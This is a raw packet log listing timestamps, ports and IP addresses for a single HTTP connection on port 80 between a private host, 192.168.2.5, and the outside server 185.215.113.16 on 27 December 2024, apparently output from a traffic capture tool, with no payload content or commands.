Dec 27, 2024 09:07:59.396784067 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.397428036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.397484064 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.397497892 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.397540092 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.398221016 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.398287058 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.398302078 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.398345947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.398936987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.398983955 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.398999929 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.399034977 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.399678946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.399733067 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.399735928 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.399751902 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.399795055 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.400423050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.400711060 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.400724888 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.400739908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.400794029 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.401410103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.401454926 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.401470900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.401525974 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.402183056 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.402230978 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.402245998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.402280092 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.402303934 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.402908087 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.402957916 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.402972937 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.403026104 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.403656006 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.403686047 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.403701067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.403758049 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.404422998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.404483080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.404501915 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.404551029 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.405133963 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.405179977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.405194044 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.405225992 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.405244112 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.405877113 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.405936956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.405947924 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.406639099 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.406676054 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.406687975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.406699896 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.406734943 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.407433033 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.407531023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.407542944 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.407593012 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.408179998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.408246040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.408301115 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.585016012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.585045099 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.585057020 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.585261106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.585262060 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.585325003 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.585349083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.585366964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.585412025 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.585969925 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.586003065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.586016893 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.586066961 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.586709976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.586792946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.586818933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.586853027 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.586878061 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.587444067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.587487936 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.587502003 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.587555885 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.588208914 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.588255882 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.588258982 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.588269949 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.588310957 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.588967085 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.589013100 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.589026928 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.589067936 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.589807034 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.589819908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.589832067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.589858055 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.589893103 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.590470076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.590523958 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.590536118 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.590579987 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.591274023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.591327906 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.591340065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.591389894 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.592060089 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.592109919 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.592123032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.592165947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.592721939 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.592772961 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.592780113 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.592787981 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.593446970 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.593472958 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.593485117 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.593499899 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.593543053 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.594249964 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.594285965 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.594296932 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.594304085 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.594336987 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.594985008 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.595025063 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.595036983 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.595077038 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.595715046 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.595727921 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.595746040 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.595765114 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.595788956 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.596440077 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.596470118 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.596482038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.596513033 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.597193956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.597282887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.597296000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.597356081 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.597999096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.598011017 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.598021984 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.598056078 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.598826885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.598839045 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.598850012 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.598885059 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.598915100 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.599495888 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.599510908 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.599523067 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.599556923 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.600184917 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.600224972 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.600239038 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.600239038 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.600270987 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.600914001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.600986958 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.601000071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.601039886 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.601682901 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.601701975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.601713896 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.601733923 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.601764917 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.602432013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.602468967 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.602482080 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.602534056 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.603177071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.603226900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.603234053 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.603241920 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.603281975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.603933096 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.603985071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.603998899 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.604059935 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.604681969 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.604710102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.604722977 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.604760885 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.604784966 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.605416059 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.605726957 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.605775118 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.605777979 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.605794907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.606477976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.606494904 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.606506109 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.606535912 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.607157946 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.607182980 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.607198954 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.607219934 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.607249975 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.607882023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.607959032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.607971907 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.608012915 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.608699083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.608712912 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.608726978 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.608763933 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.608777046 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.609406948 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.609426975 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.609441996 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.609479904 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.610172987 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.610222101 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.610229969 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.610234976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.610269070 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.610821962 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.665255070 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.837526083 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.837555885 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.837569952 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.837622881 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.837865114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.837923050 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.837934971 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.837941885 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.837963104 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.838596106 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.838784933 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.838824987 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.838835001 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.838848114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.838963032 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.839550018 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.839607000 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.839715004 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.839756012 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.840338945 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.840357065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.840369940 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.840384960 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.840415955 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.841049910 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.841137886 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.841149092 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.841182947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.841773033 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.841820002 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.841828108 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.841840982 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.841880083 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.842513084 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.842552900 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.842566013 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.842606068 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.843266010 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.843350887 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.843362093 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.843389034 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.843401909 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.844012976 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.844084978 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.844100952 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.844140053 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.844805956 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.844818115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.844830036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.844860077 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.844887972 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.845510960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.845556974 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.845568895 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.845604897 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.846301079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.846350908 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.846374989 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.846388102 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.846448898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.847038031 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.847090960 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.847104073 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.847141981 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.847790003 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.847835064 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.847868919 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.847881079 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.847913980 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.848495007 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.848548889 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.848560095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.848602057 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.849245071 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.849293947 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.849308968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.849322081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.849358082 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.850008011 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.850049019 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.850142002 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.850188017 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.850758076 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.850800991 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.850805998 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.850820065 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.850867033 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.851505995 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.851525068 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.851536036 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.851569891 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.852296114 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.852323055 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.852334023 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.852343082 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.852382898 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.853068113 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.853079081 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.853089094 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.853126049 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.853796959 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.853816032 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.853827953 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.853849888 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.853861094 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.854494095 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.854535103 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.854546070 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.854585886 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.855040073 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.855200052 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.855269909 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.855281115 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.855289936 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.855324030 CET	49728	80	192.168.2.5	185.215.113.16
Dec 27, 2024 09:07:59.856003046 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.856050968 CET	80	49728	185.215.113.16	192.168.2.5
Dec 27, 2024 09:07:59.856064081 CET	80	49728	185.215.113.16	192.168.2.5
